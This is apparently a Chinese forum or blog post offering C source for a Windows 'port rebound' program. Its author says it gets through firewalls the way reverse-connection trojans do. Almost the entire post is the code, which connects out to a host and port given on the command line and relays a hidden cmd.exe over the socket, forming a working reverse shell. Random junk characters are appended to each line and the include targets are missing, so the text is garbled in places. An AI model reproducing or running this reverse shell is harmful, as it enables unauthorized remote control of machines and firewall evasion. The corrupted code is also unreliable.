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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2&06Db(  
D4;V8(w=#  
/* ============================== ]\*g/QV  
Rebound port in Windows NT l}Jf;C*j1z  
By wind,2006/7 kS3wa3bT  
===============================*/ 8?P@<Do%  
#include +KXg&A/^  
#include Q4q3M=0  
" c}pY^(  
#pragma comment(lib,"wsock32.lib") Vc c/  
StaX~J6=  
void OutputShell(); c7P"1  
SOCKET sClient; [%z~0\lu8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P\N$TYeH  
 +'Tr>2V  
void main(int argc,char **argv) JdFMSmZ@  
{ R:Z{,R+  
WSADATA stWsaData; 9cX ~  
int nRet; @yS  
SOCKADDR_IN stSaiClient,stSaiServer; r|6S&Ia>  
 fW|1AUD,  
if(argc != 3) MQw{^6Z>1  
{ LW0't} z  
printf("Useage:\n\rRebound DestIP DestPort\n"); w\s$  
return; l9? ] t;  
} kcM9 ,bG  
~h  tV*R  
WSAStartup(MAKEWORD(2,2),&stWsaData); |"vqM)V$  
*W%HTt"N  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l`fjz-eE  
h#'(UZ  
stSaiClient.sin_family = AF_INET; 1}B W   
stSaiClient.sin_port = htons(0); mgh,)=2cE(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B k#68p  
w/E4wp  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;40!2P8t  
{ @kRe0:t  
printf("Bind Socket Failed!\n"); jQC6N#L  
return; FC/m,D50oI  
} rh?!f(_@  
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stSaiServer.sin_family = AF_INET; uZ\ >  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N>'1<i?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \0'o*nlJ  
,/ly|Dv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {pE")O7~P  
{ =H3 JRRS  
printf("Connect Error!"); OGrp {s  
return; cAV9.VS<L  
} 2*F["E  
OutputShell(); _ B",? }  
} (]vHW+'  
v-2.OS<o  
void OutputShell() )9{?C4NQ  
{ |:L<Ko  
char szBuff[1024]; _:?)2NV  
SECURITY_ATTRIBUTES stSecurityAttributes; ]aXCi"fMs  
OSVERSIONINFO stOsversionInfo; 8'@pX<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W2qW`Ujo{  
STARTUPINFO stStartupInfo; -U'6fx) +  
char *szShell; L&][730  
PROCESS_INFORMATION stProcessInformation; z?Hvh  
unsigned long lBytesRead; _<=U.T`  
b~y1'|}g  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B/c_pRl;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G@BF<e{  
stSecurityAttributes.lpSecurityDescriptor = 0; Fpzps!(;=  
stSecurityAttributes.bInheritHandle = TRUE; "ALR)s,1,  
Z,! w.TYo  
g\OPidY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AhiZ0W"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M)!8 `]  
C>4y<,Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,a~- (@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FzXVNUMP  
stStartupInfo.wShowWindow = SW_HIDE; @;"HslU\Q  
stStartupInfo.hStdInput = hReadPipe; O}*[@uv/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xT#j-T  
%j^[%&pT  
GetVersionEx(&stOsversionInfo); @G~T&6E!  
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switch(stOsversionInfo.dwPlatformId) d_-{-@  
{ .^X IZ  
case 1: {UT^p IP\  
szShell = "command.com"; :%{MMhb x  
break; O\q|b#q}/  
default: p>96>7w  
szShell = "cmd.exe"; TGY^,H>J  
break; %19TJn%J$  
} O|O#T.Tg  
[Z` q7ddd^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [mYmrLs6  
bP`yLz  
send(sClient,szMsg,77,0); .fk!~8b[Q+  
while(1) Ha)eeE$  
{ 6(f[<V!r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UW8b(b[-6b  
if(lBytesRead) 9mIq9rQ|*  
{ w3a`G|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w[qWr@  
send(sClient,szBuff,lBytesRead,0); hvnZ 2x.?d  
} RM|<(kq  
else >t.2!Z_RQ  
{ ~raRIh=  
lBytesRead=recv(sClient,szBuff,1024,0); Mmq{]q~At  
if(lBytesRead<=0) break; #6[FGM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); & ;ie+/B  
} q*SX.A>YR  
} vq B)PL5)  
L0/0<d(K  
return; s_y Y,Z:  
}
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